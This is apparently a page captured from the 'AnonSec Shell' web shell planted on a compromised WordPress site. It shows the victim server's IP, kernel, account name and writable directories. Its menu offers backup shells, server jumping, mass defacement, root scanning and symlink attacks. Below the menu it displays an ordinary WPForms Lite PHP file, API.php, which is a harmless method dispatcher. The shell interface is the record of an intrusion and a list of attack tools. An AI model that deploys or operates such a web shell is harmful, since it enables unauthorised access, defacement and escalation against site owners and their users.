AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 13.59.89.228   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/home/allssztx/bestvalleywater.com/wp-content/plugins/wpforms-lite/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/root/home/allssztx/bestvalleywater.com/wp-content/plugins/wpforms-lite/src//API.php
<?php

namespace WPForms;

use WPForms\Admin\Tools\Views\Import;

/**
 * Class API.
 *
 * @since 1.8.6
 */
class API {

	/**
	 * Registry.
	 * Contains name of the class and method to be called.
	 * For non-static methods, should contain the id to operate via wpforms->get( 'class' ).
	 *
	 * @todo Add non-static methods processing.
	 *
	 * @since 1.8.6
	 *
	 * @var array[]
	 */
	private $registry = [
		'import_forms' => [
			'class'  => Import::class,
			'method' => 'import_forms',
		],
	];

	/**
	 * Magic method to call a method from registry.
	 *
	 * @since 1.8.6
	 *
	 * @param string $name Method name.
	 * @param array  $args Arguments.
	 *
	 * @return mixed|null
	 */
	public function __call( string $name, array $args ) {

		$callback = $this->registry[ $name ] ?? null;

		if ( $callback === null ) {
			return null;
		}

		return call_user_func( [ $callback['class'], $callback['method'] ], ...$args );
	}
}

Anon7 - 2022
AnonSec Team